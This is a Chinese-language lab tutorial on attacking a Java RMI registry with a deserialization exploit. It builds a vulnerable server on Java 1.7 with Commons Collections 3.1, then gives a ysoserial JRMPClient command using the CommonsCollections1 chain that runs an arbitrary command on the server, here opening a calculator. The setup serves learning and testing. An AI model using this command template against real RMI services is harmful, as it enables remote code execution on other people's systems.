0x01 前言

来学习查看与Bind攻击类似相比另外一条更为底层的攻击路径
主要是知道怎么攻击的就可以了,现在的RMI攻击程序,写的很全能了

0x02 环境

  1. 编辑器为: IntelliJ IDEA
  2. java版本:
  3. java version "1.7.0_80"
  4. Java(TM) SE Runtime Environment (build 1.7.0_80-b15)
  5. Java HotSpot(TM) 64-Bit Server VM (build 24.80-b11, mixed mode)
  6. 使用的架包:
  7. Commons Collections 3.1

0x03 攻击测试

0x03.1 案例介绍

还是有一个服务器,现在要攻击它,换种方法打

0x03.2 创建服务端

  1. // 目录结构
  2. ├── RMITest6
  3. ├── RMITest6Interface.java
  4. ├── RMIServer
  5. ├── RMIServerTest6.java
  6. └── RMITest6Impl.java
  1. // 公共接口
  2. package RMITest6;
  3. import java.rmi.Remote;
  4. import java.rmi.RemoteException;
  5. public interface RMITest6Interface extends Remote {
  6. String test() throws RemoteException;
  7. }
  1. package RMITest6.RMIServer;
  2. import RMITest6.RMITest6Interface;
  3. import java.rmi.RemoteException;
  4. import java.rmi.server.UnicastRemoteObject;
  5. public class RMITest6Impl extends UnicastRemoteObject implements RMITest6Interface {
  6. protected RMITest6Impl() throws RemoteException {
  7. super();
  8. }
  9. @Override
  10. public String test() throws RemoteException {
  11. return "test6~";
  12. }
  13. }
  1. package RMITest6.RMIServer;
  2. import java.rmi.Naming;
  3. import java.rmi.registry.LocateRegistry;
  4. public class RMIServerTest6 {
  5. // 注册中心的服务器ip
  6. public static final String RMI_HOST = "127.0.0.1";
  7. // 注册中心设置的开放端口
  8. public static final int RMI_PORT = 9998;
  9. // RMI服务名称
  10. public static final String RMI_NAME = "rmi://" + RMI_HOST + ":" + RMI_PORT + "/t6";
  11. public static void main(String[] args) {
  12. try {
  13. // 创建注册中心
  14. LocateRegistry.createRegistry(RMI_PORT);
  15. // 服务端
  16. Naming.bind(RMI_NAME, new RMITest6Impl());
  17. // 输出该对象的访问地址
  18. System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);
  19. } catch (Exception e) {
  20. e.printStackTrace();
  21. }
  22. }
  23. }
  24. // 运行它
  25. // 我这里的ip是127.0.0.1
  26. // 实际中肯定是外网地址例如: 101.34.246.17

0x03.3 攻击测试

  1. // 下载ysoserial
  2. // 然后按如下命令启动即可
  3. java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient [服务器ip] [服务器开放RMI端口] [要使用的反序列化链] "要执行的命令"
  4. java -cp ysoserial-0.0.5-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 9998 CommonsCollections1 "open /System/Applications/Calculator.app"
  5. // 运行结果
  6. 运行完毕以后,服务端会弹出一个计算器